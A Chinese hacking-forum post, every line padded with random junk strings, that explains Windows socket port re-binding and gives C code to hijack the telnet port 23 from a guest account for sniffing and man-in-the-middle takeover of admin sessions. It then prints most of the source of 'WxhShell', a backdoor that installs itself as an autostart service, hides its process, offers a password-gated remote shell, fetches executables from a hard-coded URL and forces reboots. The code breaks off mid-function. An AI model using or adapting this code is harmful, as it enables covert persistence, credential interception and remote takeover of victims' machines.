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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: $n<a`PdH  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); fi?4!h  
p-4$)w~6i  
  saddr.sin_family = AF_INET; mixsJ}e  
JP#S/kJ%3  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ,54z9F`  
EU[\D;  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Gwd38  
#p}GWS)  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 K[[~G1Z  
ee {ToK  
  这意味着什么?意味着可以进行如下的攻击: +B*]RL[th  
+x]/W|5  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 [.#nM  
[ZWAXl $  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 'D\X$^J^  
,s8/6n#  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 +_GS@)L`%  
3^8Cc(bk  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  4]o+)d.`(  
Y'U1=w~E  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 nCQtn%j't  
D<WnPLA$g  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 :[0 R F^2}  
l5 9a3=q  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Pn,I^Ej.  
<KMCNCU\+  
  #include *b{IWOSe^  
  #include \<{a=@_k9  
  #include aTcz5g0"  
  #include    AC RuDY  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Ht[$s40P  
  int main() &'uP?r9c$  
  { ;cMQ 0e  
  WORD wVersionRequested; Oeh A3$|#  
  DWORD ret; 7FC!^)x1  
  WSADATA wsaData; VLXA6+  
  BOOL val; ddQ+EY@!  
  SOCKADDR_IN saddr; g p:0Y  
  SOCKADDR_IN scaddr; o=rR^Z$G   
  int err; OZ&/&?!XE  
  SOCKET s; ~$J ;yo~  
  SOCKET sc; eHr0],  
  int caddsize; b A+_/1C  
  HANDLE mt; E)-;sFz  
  DWORD tid;   7zu\tCWb  
  wVersionRequested = MAKEWORD( 2, 2 ); f,G*e367:  
  err = WSAStartup( wVersionRequested, &wsaData ); `~XksyT  
  if ( err != 0 ) { }e\"VhAl/  
  printf("error!WSAStartup failed!\n"); j iKHx_9P  
  return -1; o/Ismg-p  
  } 8iIp[9~=  
  saddr.sin_family = AF_INET; \U:OQ.e  
    2%@tnk|@  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ajSB3}PN  
M@[W"f Wq  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); &gCGc?/R#  
  saddr.sin_port = htons(23); y3~`qq  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Q(& @ra!{  
  { Ark]>4x>  
  printf("error!socket failed!\n"); qPDNDkjDD  
  return -1; &%2^B[{  
  } lHM+<Z  
  val = TRUE; p/Pus;*s  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 6 f*:;  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `2f/4]fY  
  { ]0UYxv%]  
  printf("error!setsockopt failed!\n"); $@PruY3[  
  return -1; o GuAF q  
  } NBk0P*SI  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ?I+{S  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 hF'VqJS  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 u@Hz7Q} P  
$_S-R 3L\  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) #)'Iqaq7  
  { ^yW['H6V  
  ret=GetLastError(); d6n_Hpxw^  
  printf("error!bind failed!\n"); xJ>5 ol  
  return -1; /EjXyrn2  
  } coXg]bUKo  
  listen(s,2); ?t 'V5$k\  
  while(1) \c2x udU  
  { cZVx4y%kz  
  caddsize = sizeof(scaddr); O#D{:H_dD>  
  //接受连接请求 '8 .JnCg  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 2M x\D  
  if(sc!=INVALID_SOCKET) k[f2`o=  
  { f&<+45JI  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); }ny7LQ  
  if(mt==NULL) ;"M6}5dQ4  
  { -,y p?<  
  printf("Thread Creat Failed!\n"); ]Thke 4  
  break; t4oD> =,92  
  } rl}<&aPH  
  } KKC%!Xy  
  CloseHandle(mt); F!z ^0+H(  
  } 2E1`r@L  
  closesocket(s); f2e;N[D  
  WSACleanup(); D$>!vD'  
  return 0; 8i',~[  
  }   I8XP`Ccq  
  DWORD WINAPI ClientThread(LPVOID lpParam) ^6 wWv&G[8  
  { sU>IETo  
  SOCKET ss = (SOCKET)lpParam; P*KIk~J  
  SOCKET sc; t+v %%N_  
  unsigned char buf[4096]; NgTB4I 8P  
  SOCKADDR_IN saddr; +,,(8=5 g  
  long num; /4T6Z[=s  
  DWORD val; 'vNju1sfk  
  DWORD ret; ,8r?C!m]  
  //如果是隐藏端口应用的话,可以在此处加一些判断 LDQ,SS,  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   GL?b!4xx  
  saddr.sin_family = AF_INET; @)d_zWE  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); LK DfV  
  saddr.sin_port = htons(23);  .2&L.  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) p3vf7eqn  
  { W5Jw^,iPd  
  printf("error!socket failed!\n"); #1-WiweO  
  return -1; wG49|!l6T  
  } w=#'8ZuU  
  val = 100; sJZ2e6?n  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [W3X$r~-  
  { wQG?)aaM  
  ret = GetLastError(); ,ayEZ#4.m  
  return -1; !=eNr<:V.  
  } pVc+}Wzh  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) SMrfEmdH+  
  { z% bH?1^o  
  ret = GetLastError(); 3O,nNt;L{  
  return -1; +j{Cfv$do  
  } =!t;e~^8]  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) S]fu M%  
  { ~vz%I^xW  
  printf("error!socket connect failed!\n"); TVNgj.`+u!  
  closesocket(sc); %tP*_d:  
  closesocket(ss); qFWN._R  
  return -1; Srx:rUCv  
  } ,NQ!d4 ~D  
  while(1)  igo9~.  
  { g ` s|]VNt  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 / <)Vd  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Wxj_DTi[1"  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 bL xZ 5C7t  
  num = recv(ss,buf,4096,0); fHd[8{;P:  
  if(num>0) :|n[zjK/S  
  send(sc,buf,num,0); HF0G=U}i  
  else if(num==0) JaUzu3*=  
  break; wF`Y ,@  
  num = recv(sc,buf,4096,0); t.8r~2(?  
  if(num>0) V22z-$cb  
  send(ss,buf,num,0); $w*L' <  
  else if(num==0) 4|K\pCw  
  break; O &<p 8  
  } ]L~NYe9  
  closesocket(ss); {_N9<i{T  
  closesocket(sc); >OaD7  
  return 0 ; d@ K-ZMq  
  } Y'iI_cg  
}@q/.Ct! x  
WGz)-IB!PE  
========================================================== k&ooV4#f6  
]qqgEZ1!Y  
下边附上一个代码,,WXhSHELL rnZ$Qk-H  
"`ftcJUd  
========================================================== lQ?jdi  
8;?4rrS  
#include "stdafx.h" e ymv/  
~1+6gG  
#include <stdio.h> zx%WV@O9  
#include <string.h> GqHW.s5  
#include <windows.h> 5hmfdj6  
#include <winsock2.h> Kkp dcc  
#include <winsvc.h> 0Ncpi=6  
#include <urlmon.h> |^l_F1+w  
{V/>5pz4e  
#pragma comment (lib, "Ws2_32.lib") \Wfw\x0.  
#pragma comment (lib, "urlmon.lib") [uU!\xe  
AY5iTbL1  
#define MAX_USER   100 // 最大客户端连接数 @?<[//1  
#define BUF_SOCK   200 // sock buffer T)gulP  
#define KEY_BUFF   255 // 输入 buffer ^7y t>  
3'.@aMA@  
#define REBOOT     0   // 重启 bVUIeX'  
#define SHUTDOWN   1   // 关机 *:yG)J 3F  
k^Qf |  
#define DEF_PORT   5000 // 监听端口 i*=~m O8E  
os{ iY  
#define REG_LEN     16   // 注册表键长度 *#YZm>h   
#define SVC_LEN     80   // NT服务名长度 U1r]e%df)  
d 5yEgc;z  
// 从dll定义API mxqD'^n#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {|u"I@M*O  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @#4-4.6I<x  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); GS>[A b+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d#v@NuO6 h  
CIIjZ)T  
// wxhshell配置信息 h&i*=&<HP6  
struct WSCFG { yIL=jzm`7  
  int ws_port;         // 监听端口 O=3/ qs6m  
  char ws_passstr[REG_LEN]; // 口令 \I!mzo  
  int ws_autoins;       // 安装标记, 1=yes 0=no gQr+ ~O  
  char ws_regname[REG_LEN]; // 注册表键名 g$s;;V/8e  
  char ws_svcname[REG_LEN]; // 服务名 ZHK>0>;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;Xt <\^e  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 % [$HX'Y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7,SQz6]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no gNEcE9y 2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {K.H09Y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 F(hPF6Zx(  
a6LL]_&g  
}; n- 2X?<_Z  
>IIq_6Z#  
// default Wxhshell configuration OPNRBMD  
struct WSCFG wscfg={DEF_PORT, -F7F 6!s  
    "xuhuanlingzhe", J.yM@wPS>  
    1, w1G(s$;C  
    "Wxhshell", T2Yf7Szp  
    "Wxhshell", 4Et(3[P71  
            "WxhShell Service", a|FkU%sjzZ  
    "Wrsky Windows CmdShell Service", 5 e+j51  
    "Please Input Your Password: ", !ekByD  
  1, #zl1#TC{(  
  "http://www.wrsky.com/wxhshell.exe", ~^obf(N`  
  "Wxhshell.exe" 0 SSdp<  
    }; b11I$b #  
K[y")ooE<j  
// 消息定义模块 vR\E;V  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .rK0C)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; OV]xo8a;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; yq-~5ui  
char *msg_ws_ext="\n\rExit."; Q|)>9m!tt  
char *msg_ws_end="\n\rQuit."; %NQ%6 B  
char *msg_ws_boot="\n\rReboot..."; ,LA'^I?  
char *msg_ws_poff="\n\rShutdown..."; <uuumi-!%G  
char *msg_ws_down="\n\rSave to "; NwF"Zh5eMW  
Be|! S_Y P  
char *msg_ws_err="\n\rErr!"; 6RbDc *  
char *msg_ws_ok="\n\rOK!"; Qbv@}[f  
9F807G\4Qt  
char ExeFile[MAX_PATH]; 4fKvB@O@.  
int nUser = 0; 9;L4\  
HANDLE handles[MAX_USER]; ,7s>#b'  
int OsIsNt; w<H Xe  
n0=]C%wr  
SERVICE_STATUS       serviceStatus; &|XgWZS5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; yF)J7a:U  
 zjUQ]  
// 函数声明 9Rk(q4.OP  
int Install(void); >.qFhO\1so  
int Uninstall(void); sLA.bp.O  
int DownloadFile(char *sURL, SOCKET wsh); 4<($ZN8  
int Boot(int flag); +S{m!j%B  
void HideProc(void); ^# $IoW  
int GetOsVer(void); []A9j ?_w  
int Wxhshell(SOCKET wsl);  ]ltCJq  
void TalkWithClient(void *cs); aLg,-@  
int CmdShell(SOCKET sock); 4C`RxQJM  
int StartFromService(void); kx(beaf  
int StartWxhshell(LPSTR lpCmdLine); 1;/SXJ s  
vNw(hT5750  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7"Xy8]i{z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); zn>lF  
)(]rUJ~+~A  
// 数据结构和表定义 <Z-Pc?F&(k  
SERVICE_TABLE_ENTRY DispatchTable[] = \) dp  
{ 4dbX!0u1l  
{wscfg.ws_svcname, NTServiceMain}, ,?yjsJd.  
{NULL, NULL} tCrEcjT-  
}; 0Ye/  
0hoMf=bb$  
// 自我安装 {LiJ=Ebt  
int Install(void) 1vo3aF  
{ =u2~=t=LV  
  char svExeFile[MAX_PATH]; |>(Vo@  
  HKEY key; 9\Gk)0  
  strcpy(svExeFile,ExeFile); h^(U:M=A  
T)e2IXGN  
// 如果是win9x系统,修改注册表设为自启动 "#E Z  
if(!OsIsNt) { #+o$Tg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zCJ"O9G<V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &Z~_BT  
  RegCloseKey(key); d[?RL&hJO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Yuv=<V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &n | <NF  
  RegCloseKey(key); |y7TYjg6  
  return 0; M<Bo<,!ua  
    } p^Ey6,!8]D  
  } ,u|>%@h  
}  z/91v#}.  
else { 6H0kY/quL|  
f1:>H.m`  
// 如果是NT以上系统,安装为系统服务 -Cvd3%Jje  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |vd|; " `  
if (schSCManager!=0) \Yj_U'2"i  
{ <p<6!tdO  
  SC_HANDLE schService = CreateService #om Gj&  
  ( M%:\ry4:  
  schSCManager, yreH/$Ou 8  
  wscfg.ws_svcname, 0 @#Jz#?  
  wscfg.ws_svcdisp, GOxP{d?  
  SERVICE_ALL_ACCESS, OD}Uc+;K  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , f=91 Z_M  
  SERVICE_AUTO_START, J <z ^C  
  SERVICE_ERROR_NORMAL, $|7"9W}m*  
  svExeFile, r4u ,I<ZbH  
  NULL, ]A[}:E 5}  
  NULL, b6S"&hs  
  NULL, kmBA  
  NULL, _L)LyQD]T  
  NULL Gd C=>\]  
  ); <!t;[ie?y  
  if (schService!=0) Gu{1%bb#kL  
  { t~qSiHw  
  CloseServiceHandle(schService); 5 xr2  
  CloseServiceHandle(schSCManager); S'RRe84 C  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Fdl0V:<  
  strcat(svExeFile,wscfg.ws_svcname); f]10^y5&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { yx#!2Z0hw  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); V+y|C[A F  
  RegCloseKey(key); gGNo!'o  
  return 0; b:9"nALgC  
    } KOR*y(*8  
  } d3a!s  
  CloseServiceHandle(schSCManager); 0<uL0FOT  
} KYkS ^v  
} rk %pA-P2  
!JdZ0l  
return 1; 0Bgj.?l  
} UHV"<9tk  
\gT({XU?  
// 自我卸载 @RB^m(> 5  
int Uninstall(void) !gyW15z'  
{ t(UBs-t  
  HKEY key; z*VK{O)o  
M`7lYw\Or!  
if(!OsIsNt) { @ebY_*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .HTRvE`X  
  RegDeleteValue(key,wscfg.ws_regname); k_1;YO BF  
  RegCloseKey(key); BV<_1 WT}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Foj|1zJS_  
  RegDeleteValue(key,wscfg.ws_regname); CNV^,`FX  
  RegCloseKey(key);  {y{O ze  
  return 0; b!-=L&V  
  } mb_6f:Qh3  
} DIYR8l}x  
} \*5z0A9)5)  
else { S^1ZsD.  
??Urm[Y.Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .,VLQ btg  
if (schSCManager!=0) `E;xI v|  
{ uYO$gRem  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Q-iBK*-w  
  if (schService!=0) I<W<;A  
  { kN*I_#  
  if(DeleteService(schService)!=0) { ?w'03lr%  
  CloseServiceHandle(schService); owa&HW/_  
  CloseServiceHandle(schSCManager); sOz {spA  
  return 0; H9;IA>  
  }  ^[I> #U  
  CloseServiceHandle(schService); yz>S($u  
  } 1.,KN:qe  
  CloseServiceHandle(schSCManager); \0i0#Dt9  
} ;fQIaE&H  
} "\lO Op^-  
*k&V;?x|wt  
return 1; 6[FXgCb  
} <D&  Ep  
V~8]ag4  
// 从指定url下载文件 lRS'M,/  
int DownloadFile(char *sURL, SOCKET wsh) )~xH!%4F  
{ lV./K;\T  
  HRESULT hr; [g@Uc  
char seps[]= "/"; N.|zz)y  
char *token; mDt!b6N/  
char *file; ]#S<]vA  
char myURL[MAX_PATH]; 18j>x3tn  
char myFILE[MAX_PATH]; m1K4_a)^[  
Z6So5r%wZ  
strcpy(myURL,sURL); E>|fbaN-%  
  token=strtok(myURL,seps); giIPK&  
  while(token!=NULL) wKpD++k  
  { mq}uq9<  
    file=token; o=zl{tZV  
  token=strtok(NULL,seps); Jz0AYiCq  
  } _/ 5  
vEE\{1  
GetCurrentDirectory(MAX_PATH,myFILE); Vv`94aQTD  
strcat(myFILE, "\\"); S]}}r)  
strcat(myFILE, file); O#!|2qN  
  send(wsh,myFILE,strlen(myFILE),0); [Tvdchl OC  
send(wsh,"...",3,0); ES(qu]CjI  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6h) &h1Yd  
  if(hr==S_OK) #l*w=D?  
return 0; y(a>Y! dgU  
else all2?neK  
return 1; ([SJ6ff]&  
J}bLp Z  
} i}f"'KW  
O#{`Fj`  
// 系统电源模块 Y~r)WV!G  
int Boot(int flag) wrJ" (:VZ  
{ ?{L'd  
  HANDLE hToken; hq&9S{Ep  
  TOKEN_PRIVILEGES tkp; WS@"8+re;  
osO\ib_%  
  if(OsIsNt) { iTT7<x  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ym` 4v5w  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *6}'bdQbNP  
    tkp.PrivilegeCount = 1; fG8^|:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ss+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); t,A=B(W  
if(flag==REBOOT) { BNO+-ob-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) X-CoC   
  return 0; |NTqJ j  
} 8"[{[<-   
else { LF{8hC[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) m}beT~FT_  
  return 0; ^mut-@ N9  
} !F Zg' 9  
  } C0^r]^$Z  
  else { $EdL^Q2KAy  
if(flag==REBOOT) { fU.z_ T[@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8h=K S   
  return 0; E2=vLI]  
} tp"eXA0n  
else { ! P$[$W  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >C5u>@%9O  
  return 0; k|jr+hmn":  
} tQ.H/;  
} kf95)iLo  
I2) 2'j,B  
return 1; 4T~wnTH0Xg  
} SoFl]^l  
[CAFh:o  
// win9x进程隐藏模块 yI-EF)A@;  
void HideProc(void) wq8&2(|Fc  
{ U{@2kg-  
(*T$:/zI S  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2P=~6(  
  if ( hKernel != NULL ) L{XW2c$h  
  { [{>1wJ Pdj  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); g^jTdrW/s  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vr6YE;Rs  
    FreeLibrary(hKernel); /z}b1m+  
  } @ W,<8  
`Hu2a]e9  
return; :/"5x  
} iMV=R2t 2  
:N_DJ51  
// 获取操作系统版本 7e#|Iq:o  
int GetOsVer(void) C/9]TkX}q  
{ e)XnS'  
  OSVERSIONINFO winfo; 3m&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {DUtdu[  
  GetVersionEx(&winfo); u&o$2 '8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {([`[7B>a<  
  return 1; <33,0."K  
  else mO8/eVws[M  
  return 0; /*M3Ns1@2  
} aej'cbO  
yGV>22vv M  
// 客户端句柄模块 gr@Ril^  
int Wxhshell(SOCKET wsl) I;G(Wj  
{ j^hLn >  
  SOCKET wsh; PY+4OZ$  
  struct sockaddr_in client; =u.23#.  
  DWORD myID; Nz; \PS  
z"Cyjmg"  
  while(nUser<MAX_USER) O{U j  
{ `'pAiu  
  int nSize=sizeof(client); #veV {,g  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &zP> pQr`#  
  if(wsh==INVALID_SOCKET) return 1; (I+e@UUiL  
}EJ/H3<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); i;29*"  
if(handles[nUser]==0) hR.vJ2oa  
  closesocket(wsh); 5/CF_v  
else &$l#0?Kc^  
  nUser++; U9 mK^  
  } Y; to9Kv$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }O| 9Qb  
)me`Ud  
  return 0; 2Je]dj4  
} -_O j iQ R  
UG}2q:ST  
// 关闭 socket P^ <to(|  
void CloseIt(SOCKET wsh) D`Ka IqLz  
{ =4V SbOlZ  
closesocket(wsh); *D9H3M[o#  
nUser--; _,d<9 Y)  
ExitThread(0); +!$`0v   
} }WBHuVcZG  
q1ZZ T"'  
// 客户端请求句柄 ojA!!Ru  
void TalkWithClient(void *cs) 64>CfU(  
{ #5{BxX&\  
MpIiHKQ G9  
  SOCKET wsh=(SOCKET)cs; P|C5k5  
  char pwd[SVC_LEN]; pmO0/ty  
  char cmd[KEY_BUFF]; i` ay9J8N  
char chr[1]; ,@Kn@%?$  
int i,j; Hk(=_[S  
ZNL+w4  
  while (nUser < MAX_USER) { g=,}j]tl  
qOnGP{   
if(wscfg.ws_passstr) { l(@c  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M* {5> !\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z/|=@gpw  
  //ZeroMemory(pwd,KEY_BUFF); :3b02}b7  
      i=0; Q( e  
  while(i<SVC_LEN) { 8.+ yZTg  
:fq4oHA#  
  // 设置超时 Ps[#z@5{x  
  fd_set FdRead; 25@@-2h @  
  struct timeval TimeOut; -~X[j2  
  FD_ZERO(&FdRead); 6E9/ z  
  FD_SET(wsh,&FdRead); aUA)p}/:  
  TimeOut.tv_sec=8; tCar:p4$  
  TimeOut.tv_usec=0; & d$X:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vbZ!NO!H  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); S2nX{=  
c& bms)Jwa  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5}Xi`'g,  
  pwd=chr[0]; NSH4 @x  
  if(chr[0]==0xd || chr[0]==0xa) { ~-B+7  
  pwd=0; 1MT,A_L  
  break; 4??LK/s*  
  }  ARs]qUY  
  i++; =2ED w_5E  
    } g2=PZR$  
 ts=:r  
  // 如果是非法用户,关闭 socket 49c-`[d L  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ='m%Iq7X  
} z0#2?o  
9\/oL{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \k{[HfVvn  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %O<8H7e)V  
PL3hrI 5  
while(1) { Kpa$1x  
M]/DKo  
  ZeroMemory(cmd,KEY_BUFF); a ~W  
U%[ye0@:  
      // 自动支持客户端 telnet标准   lBAu@M  
  j=0; m]vV.pwv  
  while(j<KEY_BUFF) { fFWi 3.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); * 1xs/$`  
  cmd[j]=chr[0]; #.$y   
  if(chr[0]==0xa || chr[0]==0xd) { R^ P>yk8  
  cmd[j]=0; "Aw)0a[j1  
  break; H\\FAOj  
  } 5Z5x\CcC3  
  j++; |r36iUHZS  
    } r\Kcg~D>  
=6"5kz10  
  // 下载文件 {<Gp5j  
  if(strstr(cmd,"http://")) { X J)Y-7c  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); F *r)  
  if(DownloadFile(cmd,wsh)) kfT*G +l]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); V/kndV[j  
  else oD1k7Gq1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xc}XRKiy{  
  } <c:H u{D  
  else { evYn}  
J%M [8  
    switch(cmd[0]) { 6)P.wW  
  C H 29kQ  
  // 帮助 ~1[n@{*:(  
  case '?': { rDa{Ve  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); & d2 `{H  
    break; 't0M+_J  
  } L/`1K_\l  
  // 安装 w D r/T3  
  case 'i': { "42/P4:  
    if(Install()) |%mZ|,[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lhe&  
    else {uoF5|O6K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s.Ai _D  
    break; 6$'*MpYF4  
    } 5)eM0,:  
  // 卸载 El;"7Qn  
  case 'r': { <r$h =hM  
    if(Uninstall()) g=Vu'p 3u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $Th)z}A}EA  
    else $T^q>v2u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &ah%^Z4um  
    break; oW 6Hufu+o  
    } t"q'"FX  
  // 显示 wxhshell 所在路径 vc&+qI+I3  
  case 'p': { Hz2Sx1.i  
    char svExeFile[MAX_PATH]; J'$NBws  
    strcpy(svExeFile,"\n\r"); 'xGhMgR;  
      strcat(svExeFile,ExeFile); *Q/^ib9=  
        send(wsh,svExeFile,strlen(svExeFile),0); /#H P;>!n  
    break; =\5WYC  
    } G[yzi  
  // 重启 , f$P[c  
  case 'b': { k:R\;l5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]\ _tO  
    if(Boot(REBOOT)) ce}A!v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }6/M5zF3  
    else { H>+])~#  
    closesocket(wsh); x5BS|3W$a  
    ExitThread(0); X3 kFJ{  
    } F}ATY!  
    break; )`f-qTe  
